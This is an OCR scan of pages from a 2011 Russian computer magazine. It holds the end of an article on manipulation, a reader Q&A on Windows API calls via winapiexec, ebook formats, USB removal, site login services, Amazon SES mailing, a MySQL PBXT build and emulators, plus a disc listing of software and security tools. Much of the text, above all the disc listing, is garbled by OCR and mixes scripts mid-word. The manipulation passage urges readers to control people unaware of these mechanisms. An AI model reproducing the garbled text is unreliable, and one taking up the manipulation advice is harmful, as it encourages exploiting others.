Финальное напутствие Все перечисленные особенности психики обусловлены ничем иным, кроме ка к нашим опытом и восп итательными моментами . Нравится или нет - это неотъемлемая часть каждого человека, и этой частью можно пользоваться, как это делают уже да вно некоторые л юди. Ведь при правильном под­ходе - это оружие массового поражения . Оружием против тебя это может быть лишь в том случае, если ты не осознаешь эти осо­бен ности, а знач ит, они управляют тобой. Но как только их осознаешь - а если прочитал, то уже почти осознал - ты не тол ько выхо­дишь из-под их вл ияния , но и можешь сам управлять други ми , кто не читал эту статью 'да-да, без ложной скромности : описание меха низмов можно найти много где, но там они не рассматриваются в связи с манипу­лированием ] . Поэтому отложи сегодня контру или линеечку и займись поиском и устране­нием у себя всех вышеописанных стереоти­пов. Путь к статусу Великого Мани пулятора начи нается с вот таких мелочей l : ] I

� 1 37

Page 127: Хакер март 2011

• • Степан «5tep» Ильин twitter.com/stepah

• Есть вопросы - присылай на [email protected]

Q: Для решения самых разных задач я очень часто использую WiпАPI-функции. Это лучший способ эмулировать актив­ность в любом приложении, считы�ать нужные параметры из полей-короче говоря, автоматизировать все и вся. Каж­дый раз для этого приходится писать при­ложение (чаще всего на С++), что очень муторно. Нет ли более простого способа вызвать нужную функцию из определен­ной системной библиотеки? А: С помощью WiпАРI действительно можно творить чудеса. Мы все помним про самые первые троя ны для Web Money, которые как раз с помощью системных вызовов управля­ли WM Кеерег'ом и эмулировали акти вность пользователя таким образом, чтобы его деньги при первом же запуске приложения перево­дились в нужном направлении, Концепт !само собой, он уже не работает ввиду современных защитных механизмовl хорошо описан в одной из наших старых статей [b it , ly/winapi hack wеЬmопеуl , Но вернемся к вопросу, Чтобы вызвать произвольную системную функцию, необязател ьно писать код на том же С++ и компилировать его, Можно обойтись специ­альной утилитой winapiexec [rammichael,com! wiпарiехесl , которая позволяет выполнить л юбые вызовы через командную строку. Син­таксис для запуска следующий: winapi exec .

ехе library . dl l@FunctionName 1 2 3

unicode_text " а space "

Можно последовательно выполнить несколько команд, указав их через запятую. Особен нос­ти ключей, передаваемых через командную

� 1 з8

строку, хорошо описаны в мануале winapiexec. П риведу несколько простых примеров исполь­зования п рограммы. 1 , Запустим калькулятор и тут же удалим процесс из памяти: winapiexec , ехе

CreateProcessW О calc О О О Ох2 0 О

О $а : Ох4 4 " " " " " " " " $Ь : 1 6

, Sleep 1 0 0 0 , TerminateProcess

$ $ : 11@0 О

2. Отобразим таск-менеджер: winapiexec .

ехе u@SendМessageW ( u@FindWindowW

Shel l_TrayWnd О ) Охl l 1 4 2 0 О

З. Выведем через MessageBox путь до temp: winapiexec . ехе GetTempPathW 2 6 0

$Ь : 5 2 0 , u@Mes sageBoxW О $ $ : 3 $ $ : о Ох40

М ного триков с системой, реализованных через WiпАРI-функции, хорошо описаны в этой статье некого индийского п рограммис­та : codeproject ,com!KB!miscctrVТaskbar Man ipulation ,aspx,

Q: Хочу купить читалку, но не знаю, какую выбрать. Одни понимают книги в формате FB2 (как и мой телефон), мно­гие только ePub и так далее. Что лучше? А: На самом деле, никакой разн ицы нет, FB2, ePub и другие форматы - лишь описа­ние контейнера, в котором хранятся тексты , изображения и шрифты. И уж конечно, давно разработаны простые конвертеры между ними, Известный сервис fb2epub,com позволяет пре­образовывать книжки из FB2 в ePub в два кли­ка мыши, Есть более универсал ьные решения, которые поддерживают не два, а сразу множес-

тво книжных форматов, Я заморочился этим вопросом, когда купил себе Kindle oTAmazon [все-таки $ 1 39, как ни крути, хорошая цена для отменной читалки c Wi-Fi на бортуl, Девайс предоставляет два варианта для получения книг: загрузка в специал ьном формате MOB I или же покупка в онла Йн-магазине. Чтобы пе­ревести свою библиотеку в «родной» для Kindle формат я нашел утилиту Cal ibre !cali bre- ebook, coml , При мечательно то, что эта бесплатная кроссплатформенная утилита поддерживает практически л юбые форматы электронных книг и даже позволяет нап рямую закачивать книги в ридеры с автоматической конвертацией. Можно, например, взять всю свою библиотеку в FB2 и разом преобразовать в нужный формат, автоматически забросив книги на деваЙс.

Q: Каждый раз мучаюсь при попытке безопасно извлечь устройство. В каж­дом третьем случае этому препятствует какая-то программа, причем какое именно приложение лочит флешку­понятно далеко не всегда. Как быть? А: Пожалуй, это главная причина, почему мно­гие [ в том числе и я l просто выдергиваютфлеш­ку из компьютера, Пользоваться безопасным извлечением устройств в Windows - настоящая пытка, П ри этом я уже не раз поплатился за пренебрежение этим простым п равилом, теряя ценные данные с внешнего накопителя , На са­мом деле, п роблема легко решается с помощью утилит USB Safely Remove Isafelyremove,coml или Zentimo [zentimo,coml , Помимо общей продуманности [удобное меню с картинками

ХАКЕР 0 3 / 1 46/ 2 0 1 1

Page 128: Хакер март 2011

Яндекс @mail.ru патЫс, Google ш ·� . :v..; 1] Facebook �wi��e,. LQginza d"' OpenlD �"'"" L IY E J O U R Н A L ту репЮ' ··УХ600'. rn Btogger' @ gНЕВНUНU fl ickr'" WORDPRESS

�l'iSigп' AOL �) � WebMoney �-.; I�t.fm Loginza позволяет пользователю авторизоваться на сайте через aKкaYНТbI в сторонних сервисах

USB Salet, Relllove

s JetF\adl Тramcend З2GВ USB De'lice IG:)

J \dI TS1GJF28 USB DcoAtc "-.

т IlIntoend С'" Reader АDР8 � I

The device has been stopped JetFlash TS1GJF28 US8 Device (N:)

х

-------------------------------------------

< I"'�' 8:23

Удобный инструмент для безопасного извлечения внешних накопителей

устройств, отображение п равил ьных имен де­вайсов, возможность скрыть ненужныетомаl , они (о чудо l l показывают приложения , которые мешают извлечь устройство и помогают снять лок. Почемута кая очевидная и понятная опция не реализована в стандартном инструменте Windows, мне понять сложно.

Q: Хочу реализовать на своем сайте ав­торизацию через популярные сервисы (Facebook. ВКонтакте, Google и так да­лее) без дополнительной регистрации. Как это проще всего сделать? А: Один из самыхудобных из доступ ных на се­годняшний день вариантов - Lozinza ( loginza . шl . Это сервис, который позволяет разработ­чикам и вебмастерам обеспечить аутентифика­цию на сайте через учетные зап иси популяр­ных порталов (Я ндекс, Google, Rambler, Mai l. Ru , LiveJournal, etcl, социальных сетей ВКон­такте и Facebook, а та кже через идентифи като­ры Open lD . П ростое в освоении Loginza.API и нал ичие готовых решений на разных языках позволяют без особого труда воспользоваться

ХАКЕР 03 / 1 46/ 2 0 1 1

сервисом уже сеЙчас. Есть плагин ы для разра­ботчи ков сайтов на Wordpress, phpBB, Joomla, Cogear, Dru pal и прочих. Форма входа Логинзы на текущий моментуста новлена более чем на 6 500 саЙтов. Кстати, ста рта п недавно был приобретен Я ндексом , а значит, у сервиса есть все шансы на самое быстрое развитие.

Q: Есть задача - организовать email­рассылку по большому (действительно большому) списку получателей. Сна­чала хотел написать простой скрипт, который рассылал бы все с дедика через sendmail, но оценив объем (а это гигабайты трафика), понял, что этот вариант не подойдет. Как бы реализо­вал рассылку ты? Сразу хочу сказать, что речь идет о легитимной рассылке, это не спам. А: Если ни один ИЗ готовых сервисов для орган изации рассылок вроде subscribe .ru тебя не устраивает (что более чем вероятноl, я вижу в твоей ситуа ции один вариант. Но зато какой современный и прогрессивный I Раз уж

ожидается большой и сложно предсказуемый объем трафика, то надо переложить проблему на тех, у кого мощностей всегда предостаточ­но - облачных проваЙдеров . Известный и в последнее время все чаще упоминаемый нами Amazon сейчас проводит открытое бета-тести­рование сервиса Amazon S imple Email Service (SESI, который как раз и занимается доставкой электронной корреспонденции из облака. Понятно, что ни баснословный объем трафика, ни немыслимое кол ичество п исем для его мощностей не п роблема. Отправка тысячи сообщений стоит $О. l О Помимо этого п ридется платить за входящий и исходя щий трафик (не больше $0 . 1 О за Гбl . Примеры скри nтов доступны в разделе для разработчиков (.bi.L lу/аmаzоп ses scriptsl , поэтому попробо-вать сервис в действии можно прямо сеЙчас. Интересно, насколько эффективны у компании механизмы борьбы со спамом, а то ведь с таким подходом и никакие ботнеты для рассылки будут не нужны : l .

Q: Экспериментирую с альтернативны­ми движками для хранения данных в MySQL. Проблемы возникают с установ­кой РВХТ (primebase.org). Можете дать гарантированно работающий мануал? А: Н иже рецепт от нашего эксперта в этой отрасли - Александра Лозовюка : 1 . Сначала необходимо выяснить, где нахо­дится директория плагинов (подразумеваем, что MySQL5 . 1 утебя ужеустановленl . Для этого набери в консоли mуsql-кл иента: show

variables l ike " %plugin% " . Можно также выполнить аналогичный SQL -запрос через phpMyAd min. В ответты получишь что-то вроде /home/my-usег/mуsql/libImуsq l/рlugiп. 2. С качай исходники плагина из Lanchpad ( launchpad.netl , испол ьзуя Bazzar: bzr branch lp : pbxt / tmp/pbxt - src

З. Далее приступаем к конфигурации : . /configure - -with-mysql=<build­

dir>/<mysql- src> - -with-plugindir=

<mysql-dir> / l ib!mysql/plugin

4. И, в конце концов, собираем п роект: make && make install .

5. Полученный модуль копируем в директорию плагинов и выполняем SQL -команду, чтобы подкл ючить новый плаги н : INSTALL PLUGIN

pbxt SONAМE ' l ibpbxt . so '

6. Теперь создаем таблицу, испол ьзуя новый движок: «CREATE TABLE t1 ( с 1 int ,

с2 text ) engine=pbxt ; ». Или изменя­ем уже существующую: « ALTER TABLE t 1

engine=pbxt».

Вуаля , теперь в качестве движка используется новомодный рвхт.

Q: Как проверить, разрешает ли провай­дер использовать VРN-соединения? А: Необходимо убедиться, что GRЕ-пакеты не блокируются. Сделать это можно на са йте itshidden .com - бесплатном VРN-сервисе, который как раз работает на РРТР. Если не работает, то , скорее всего, G RЕ-пакеты бло-

� 1 З9

Page 129: Хакер март 2011

-

ки руются. В этом случае можно попробовать ОрепVРN или 55Н-туннели рование.

- Q: Беремся за большой проект, пред­полагающий разработку клиентских приложений для разных мобильных платформ. Обеспечить всех разработ­чиков реальными устройствами мы не можем, поэтому ищу сейчас всевоз­можные эмуляторы. Реально ли с их помощью вести весь цикл отладки? А: Для отладки и тестирования разработок могут при годиться два вида и нструментов: эмуляторы и симуляторы. В чем разница? Все просто. Эмулятор - это программное средство, которое транслирует откомпилированный код с оригинальной архитектуры на платформу, где он фактически будет выполняться. В нашем случае эмулятор - это десктопное приложение, кото­рое эмулируетжелезо мобильного устройства и работу его операционной системы, позволяя за-пускать и отлаживать приложения. Существуют Эмулятор Android также эмуляторы и менно мобильных операци­онных систем Iнапример, для Windows Mobile и Апdгоidl, не при вязанные к какому-то конкрет­ному девайсу. Симулятор - менее сложное и ме-нее полезное решение, которое лишь имитирует работу мобильногодевайса и его ОС, но не эмулируетжелезо. В любом случае, и эмуляторы, и симуляторы часто не предоставляютполной свободы для отладки приложений . Трудности могут возникнуть, например, при тестировании функций , использующих цифровой гироскоп. В этом случае без реальногоустройства в боль­шинстве случаев не обойтись. Так или иначе, ниже - небольшая подборка инструментов, которые могуттебе понадобиться. • iOS Simulatoг - симуляторустройств, работа­ющих подуправлением мобильной ОС oTApple. Решение идет вместе со средой разработки ХСоd е и доступнотолькодля платформы Мас 05 Х: developer.apple .соm/dеvсепtег/iоs/i пdех.асtiоп ; • Апdгоid Emulatoг - эмулятор операционной системы Android версии 1 . 1 , 1 .5 , 1 .6 , 2 .0 , 2. 1 , 2 .2 & 2.3 1для работы необходимо скачать образы ОС и 5DKI: developer.android .com/guide/ d evelopi ng/tools/em u lator. html ; • Sаmsuпg GalaxyTab Add-оп - специал ьный аДДон для Android 5DК, позволяющий эмули­ровать работу модного планшетника 5amsung Galaxy Та Ь: innovator.samsungmobile .сот/ galaxyTab.do ; • H P webOS Emulato г - эмулятор нем ногочис­ленных устройств от H P IPalm Рге, Palm Pixi , Palm Pixi Plusl , поставляется вместе с 5DК: developer.palm.com/index.php?id; 1 744 ; • Nokia Symbian Emulatoгs - эмулятор устройств, работающих под управлением 5утЫап: bit . ly/symbian emu lators ; • BlackBeггy Simulatoгs - симулятор девайсов и ОС Blackberry: blackberry.com/developers/ downloads/simulators ; • Windows Mobile 6.5 Emulatoг Images - обра­зы эмуляторов WM6.5: bit. ly/WM65emulator; • Windows Phone 7 Simulatoг - симулятор новой мобильной ОС от Microsoft, кото-

� 1 40

р ы й работает в связке с Visual 5tudio: МJY/ WP7simulator; • Bada Simulato г - си мулятор ОС Bada от ком­пании 5amsung : bIt . ly/Bada simulator.

Q: Все чаще и чаще встречаю довольно продвинyn.le проекты�' KOTopble использу­ют Google Protocol Вuffers. Объясни, в чем СУТЬ проекта? чем он лучше XМL? А: Protocol Buffers Iбуферы протоколовl - это не зависящий от языка и платформы. расширяе­мый способ разделять на серии структурирован­ные данные. По своим задачам технология очень похожа на XML, только компактнее, быстрее и проще. Ты однажды определяешь, какдолжны быть структурированыданные. а потом исполь­зуешь специально созданный исходный код для записи и чтения структурированных данных в\из различных потоков данных. используя разнооб­разные языки - Java. С++ или Python. Описание выполняется в специальных .ргоtо-фаЙлах:

message Person {

requi red s t ring пате ; 1 ;

required int 3 2 id ; 2 ;

opt ional string ema i l = 3 ;

в этом .ргоtо-фаЙле определяется формат опи­сания человека. После этого мы можем легко использовать это определение для создания и манипул ирования объектами.

Person person ;

person . set_name ( " John Doe " ) ;

person . set_i d ( 12 3 4 ) ;

person . set_ema i l (

" j doe@examp l e . сот " ) ;

f s t reaт output (

" myf i l e " , ios : : out I ios : : binary ) ;

person . Se r i a l i z eToOstream ( &output ) ;

Чем это лучше XML? Использовать Protocol

Buffers проще. в 1 0-20 раз быстрее и в 3-1 О раз эффекти внее в плане полученного объема. Есть конкретные примеры использования . Например. недавно бэкенд Тwittег перешёл на Protocol Buffers. По заявлению разработчи­ков Twitter. база в триллион твитов на XML за­ни мала десять петабайт вместо одного. Боль­шое кол ичество примеров и статей потеметы найдешь на официальном сайте Icode .google . com/p/protobufl . Еще интересной разработкой в этой области является библиотека MessagePack Imsgpack. иgl , которая тоже предназначена для сериали­зации данных. Она позволяет обмениваться структурированными да нными между разл ич­ными языками так же, KaK J50N . но. в отличие от последнего. резул ьтат получается меньше и быстрее. На сайте доступны модул и для Ruby, Perl. Python , С/С++. Java, РН Р, Haskell. Lua.

Q: Существует ли универсальное реше­ние для Windows, позволяющее получить доступ к данным на разделах с различ­ными файловыми системами, KOTOPble используются в Unux- и ВSD-системах? Включая caMble современные, вроде Ext4. Нет желания держать отдельные тулзы, скажем, для Ext2/3/4 и UFS/UFS2. А: Мне больше всего подуше утилита R.5aveг Irla b.ru/tools/rsaver.htmll . Основное назна­чение про граммы - восстановление данных с различных версий файловых систем FAT и NTF5. Но помимо этогоутилита предоставляет доступ в режиме чтения к следующим файло­вым системам: • Мiсrоsоft Windows: FAT и NTF5, включая FAT1 2, FAT 1 6 , FAT32 , NTF5, NTF55; • Apple М ас 05: H F5, HF5+/HF5X; • Linux: Ext2, Ext3, Ext4, ReiserF5, JF5 и XF5; • Unix , В5D, 5un 50laris: UF5 и UF52 1FF51 , включая UF5 с обратным порядком байтов, ко­торая используется на 5parc/Power серверах. ::х::

ХАКЕР 03 /146/ 2 0 1 1

Page 130: Хакер март 2011

»WIMDDW5 >Devel.pmenl Android 5ОК ,О9 BinVi. BlueG,ilf.n D.9RCI C.de Vi.uali.e, 4.6 DbDcl.pu. 1 . 1 Dependencv Walker 2.2 D ... I.�er. Tip. & T,ick. 1.2.1.2 Free Иех Edilo,Meo 4.95 GalaXQL 2.О с.ььу О.4.93 Google Арр Engine documen!aUon Google Арр Engin. 5ОК '" Ja,a 1.4.0 Google Арр Engine 5ОК '" PVlhon 1.4.1 ИеidiSQL 6.О Parr.1 3.0.D PvCha,m 1.1.1 Re'lexil l .1 !!!в.хВuddv 3.5.О Rock.ISVM '" Vi.ual SI,dio 1.0.1 Rock.ISVM Se .. er 1.0 SubIime Тех! 2 bela ТО,а 2.1.3 Virt,al Serial Port. B.la wvBuild 2.5

>MIsc AU'D8X 1 .2.2.98 Bool 5поо" 1.0.5 b,iss 0.0.12 File B,ck.I I . 1 .0 1 •• ,1 Director ,1.2.2 Locat.32 3.0 Мicrosоft Mathematics 4.0 МооО FileShredder 1 . 15 Regi.try C.mma.der 10.04 SearchMrFiles 1.62 Shapeshift" 3.09 SV.I.t".al.Updater 1.0.0 T,a •• lat'.M.t 0.1.34 ZenKEY 2.3.5

>Multlm.dia calibre 0.7.44 Dual M •• itor TooI. 1.7 F,ap. 3.2.8 'reac 1.0.17а GrooveWal" . 0.331 ImgB,," 2.5.5.0 Ki.dle '" РС Miro 3.5 Okozo Deskto. I.I.6 SaveGameBackup.net 1.0.3 Skvpe Record" 3.0 Sumatra PDF 1.3 UMPlaver 0.9 VLC media plaver 1.1 .7

>м.! А.в,у IP Sca.ner 4.0 beta4 C.n'igurati.n C •• ter Workgro,P...1.,L DMS Performa.ce Test

Ekahau ИеаtМа •• er 1 .1 .2 �Meln Иаmасhi MetworkMi.er 1 .0 Pamela Call Recorder 4.7 R.b.F.,m 7.2.0 torchat 0.9.9 TYP03Wln.taller 4.5.0 Web5i!e-Wa!cher 2011 111.0

>Sec" i!V Adap!ive 5ec" i!V Analv,,, IIS в,.! .. Sandb.x Analvzer 1.25 d,ivesploit FacebookP." wo'dDecryptor 1.5 Иа.hСоm.аre 1.0 ИПРТu.пеl l .2.1 IdaJa.a 0.3 MagicTree Beta Tw. nma. 5.50 O .. nFISMA 2.11 OWASP CSRFGua,d 3.0.0.336 АLРИА Pack.!Fu 1.0.0 PlREtic 0.5.1 �ger .I.0 Virt,alKD 2.5.1

>Sv.tem AS SSD Be.chma,k 1.6.4 Bluet •• th D,i.er I •• tall" 1.0.0.62 BootRacer 3.1 CheckDi.kGUI I.I.0 ESET Sysl'.pector 1.2 FreeFile5v.c 3.13 Immu.e! Protect FREE A.ti.i" . J.tUQ 1.0.3 Kasoer.kv Rш,е Oi.k 10 Minimem 2.0 M.ackd 1.14.1 OSFClone l .0.1005 OSFM.,nt У1.4.1005 OSF.ren.ics 0.8 Q-Di, 4.46 R .• aver 1 .0 Rai.meter 2.0

»UMIX >D .. el BI,e'ish 2.0 Clmg .!!l Ga.lIProjec! 2.0.10 Ш9J!!.М �J!JJ! Gschem 1.6.2 Jailer 3.5.1 JulfEd 0.8.1 KD .. el •• 4.2 LibRaw 0.12.3 lib,.b 1.0.8 M.i.liciou. I .0 Мер!,пе 0.6 Ok!eta 0.5 p.Cha,m 1 . 1 .1 5с ••• 2.0.1 5WIG 2.0.1 Tale.d О ... St,di. 4.1.2

>Games р.kerТИ 0.8.2

>м.! CenterlM 4.22.10 Ch.a.k 1.0 Fro.twire 4.21.3 G •• gle Chrome 8.0.552.237 12Р 0.8.3 K'ileb.x 0.4.7 Lvпх 2.8.7 Mozilla Fi,.,.x 3.6.13 m.mt. I .4.23 Maim 0.11.8.3.2 McF7P 3.2.5 Mew.be,!" 2.4 Opera 1 1 .00 Р.; 0.14 Rou.dCube Webmail 0.5 Twvt 0.9.2 у,,, 4.6 WeeCha! 0.3.4

>Security d,ivesol.it Ina,ma '.0.2 MaaicTree Beta Tw. Mch .. . 0.2 .maa 5.50 Oae.DLP 0.2.5 Oa •• FISMA 2.11 OaenSCAP P,.iect 0.6.7 OWASP CSRFG,a,d 3.0.0.336 АLРИА Pack.!F, 1.0.0 pyREtic 0.5.1 Roo!kit Иu.ter 1.3.8 THC-Hvd,a 6.0 THC-IPV6 1_4 Cross '"" Digital F.ren.ics F,amework 0.9 G,a,d·g70�.9�1 ____________ _

Inauma 0.2 Ki.met 2011-01-RI Lin,x Securitv Checkli.! T •• I 2.0.3 Malmon De!ec!i •• Tool 0.3 Ма.!,а Sec" ity Toolki! Ma .. i. 0.9 Ma,sezah. 0.40 Mmap 5.50 MMa.5i4 0.2.1 Packe! Fe.ce 2.0.1 Puck QuickRec •• 0.1 .1 THC-Hvd,a 6.1 XSS Ravs 1.0

>Server �ache 2.2.17 BIMD 9.7.2-Р3 Cassand,a 0.7 Cher.kee 1.0.18 CUPS 1.4.6 ОНСР 4.2.0-Р2 D,i .. le 2011 .02.09 M.SQL 5.5.8

!!JI.e.LDAP 2.4.23 !!JI.e.SSH 5.6 ОаепУРМ 2.1.4 P •• ttix 2.8.0 �reSQL 9.0.3 5amb..-з:5.6 S.ndmail 8.14.4 Sa,ld 3.1.10 Unb.und 1.4.8 V.ft.d 2.3.2

>Sv.!.m AТI Catalvs! 1 1 . 1 Caai,a,a 0.8.9 Create Svnch,.nicitv 5.1 Dmidec.d. 2.11 GCon' 2.32 Kd' 4.0.5 Llnux Kernel 2.6.37 LVM2 2.02.81 .Vidia 260.19.36 Palimpse.t 2.32 phpVirtualB.x 4.2 P.werT.a 1 .13 Virtual Machine Мапав" 0.8.6 VirtualBox 4.0.2 xSMBrow.er 3.4.0

>X-di.!, ОеЫап 6.0 5а,ее"

»МАС �pCleaner 1.2.2 Candvba, 3.2.2 Daisv Disk 2.0.5 F,eeGuide 0.11 iMedia Browser 2.0 Litelcon 1.3.1 Littlelasum 1_1.2 MiroVideoC.nverter 2.4 Plxelmator 1.6.4 Р,п!. 5witch" 3.1.1 Ra.idWea.er 5 Reeder 1.0Ь9 5creen.g,aphV I.0.15 5econdBa, 9.68 Sec,reFiles 1.1.2 Sigma Chess 6.2 SiteSucker 2.2.3 ТinkerT •• 1 4.4 WeatherDock 2.5.1

PALEVO: ИСПАНСКИЙ ЧЕРВЬ С РУССКИМ НАЗВАНИЕМ СТР.

� � ".

жизнь ПОСЛЕ MYн�Ц�

Page 131: Хакер март 2011

ONLINE DATABASE SCHEMA DESIGNER dbdsgnr.appspot.com о Если ты зани маешься разработкой. то наверняка имел дело с визу­альными инструментами для проектирования БД. Бла годаря им можно не только наглядно представить структуру будущих табли ц и связи меж­ду ними , но и сгенерировать код для созда ния базы в СУБД. Ас помощью этого сервиса, написанного на Python и размещен ного в облачном сер­висе Google Арр Engine, ты можешь сделать это прямо в браузере. Это довольно простое решение, но оно позволяет спроектировать табли цы, обозначить первичные и внешние ключи, про верить связи и получить готовый код для PostgreSOL, SOLite, MySOL, MSSOL и Oracle.

BAMBUSER bambuser.com

· МoCII't�_I"I"IIO� . �_*"oIt"'cIoIIII\' . C/08IlOII!IIycu ............. �

Для организации потокового вещания с камеры телефона или ноутбука

о Вопрос: как поделиться со всеми желающими потоковым видео с камеры своеготелефона? Так, чтобы в реальном времени и с хорошей картинкой/звуком? Идея пришла совершенно неожиданно во время ката­ния на сноуборде в горах : 1 . Удивительно, но даже на высоте 3 000 метров есть местечки, где быстрый Wi-Fi раздается всем желающим. А раз так, то почему не попробовать? Быстро нашелся подходящий сервис Bambuser. Установив на своем телефоне специальный клиент Iпомерживаются де­вайсы на Windows Mobile, Android, iOS, Symbian, Badal, можно в два клика начать передачу изображения на главный сервер Bambuser. А уже оттуда все желающие смогутувидеть изображение через свой браузер.

� 1 44

Javascript unpacker and beautifier " ,..t� tll ,our соИ ao\d P�SI le.lI1:if)' 1мttt0/l "' 1f t'th1s_ts' " /'''_':O:N91t/) (

do_s_.tllilll(); ) tlse !

v.r • • b l (c l d) : e[f): OВt1lce! on own line e! PrIlI8fVB Bmptytlnes?

@lOelect pacQrs?

О КНР lrr8y IndBntallon?

-

1hI8 Dt ..... lerwl. ,.formI!.l\drtlncl""�rldets.UOI'I j8vttcrlo� UtI'**tЩ)b pacb1:l ьу lIIt poPUl,r l2U!J �,"weII •• !IeObfll_l8aa1pt1proceuadby -�-

1IМ'1IOU1C800d.fur .... II ... YOtIIIotI I8 81W.\'8 IYai1.tII8 011 IIIt1iQ.8nclJOI,Icatl OOм'IIO.o I'IeDNUu.rlorkaluм b/Q. lIC.alJ 'IWIII.

".�I_P'l'hln .. rtIonofll8 bt.UC;tlerlfbeolngll'l8d ...

,o..o ,..� I!'II ... Un1illlln.youcanusePfO'l\68cltlt8\Г6tt-djttcrlpt,l/IInsI!!!II!!SI �UИ.l!ll.%alJlDn.orl8k8. lookll'OUnclN 1I!iIIIII-1Ie1e_У8riout��.

ThI' PClPUllrweDdebU!l1l!ng proxyrorv..noow. h ... �

� (IJ.IИОGfl O'UtмI.u�hr).....rIiCh С8n "lo!mal

"Y8aa1D1On ,,",�,. ,,101111

FabkI H� IlUwrilltn _ W!prl!t gfo1!11W1 amang 'fIItnM 1ef!Sr-1Ok'lItgI'8I8N Dt."'IttIrlDNl 8OIIor.

Af3.423COn'0'8I18ONlCllpllD'IImt (1OfI'IIWfIaI1lllSUjlpcмt8а}.'dI!I...R!Iщ _. M)'OIldoing�"..,uA ,* 8Лd IlIttdude .IiI>t".,./

Для расшифровки упакованного JаvаSсгiрt-кода

JAVASCRIPT UNPACKER AND BEAUTIFIER jsbeautifier.org о Чтобы уберечь исходники на JavaScript от пла гиата, а также затруд­н ить а нализ сцена риев анти вирусными п родукта м и и специалиста ми , разработч и ки часто используют специальные инструменты-скрамб­леры, которые ка рдинально усложняют чтение кода. В WWW2 мы даже упоминали толковое онла йн-решение JScram bler, которое как раз вы­полняетта кую обфуска цию. Сервис JSBeautif ier, напроти в, при водит уродливый JS-KOA В человеческий вид, выполняет формати рование и пытается распаковать код, обфусци рованный на иболее популя рными приемами .

SIMKL simkl.com

Для безопасного хранения логов lМ­мессенджера и Skype

о Одной из причин , по которой я когда-то стал использовать GTa lk в качестве основного I М- мессенджера, стало централизован ное хране­ние логов чатов прямо на сервере. Другие сети и клиентские приложе­ния этим похвастаться не могл и . Теперь это досадное недоразумение во многих случаях готов исправ ить сервис S imkl , сохра няя всю исто­рию разговоров на безопасном сервере. С писок клиентов, с которыми он совмести м , довольно внушителен и включает в себя 0 1 Р, M i randa , Pidgin и другие. С недавнего времени сервис научился записывать еще и все голосовые разговоры из Skype I вкл ючая Skypeln и SkypeOutl , но только после установки специал ьного кл иента на ком пьютер.

ХАКЕР 03 / 1 46/ 2 0 1 1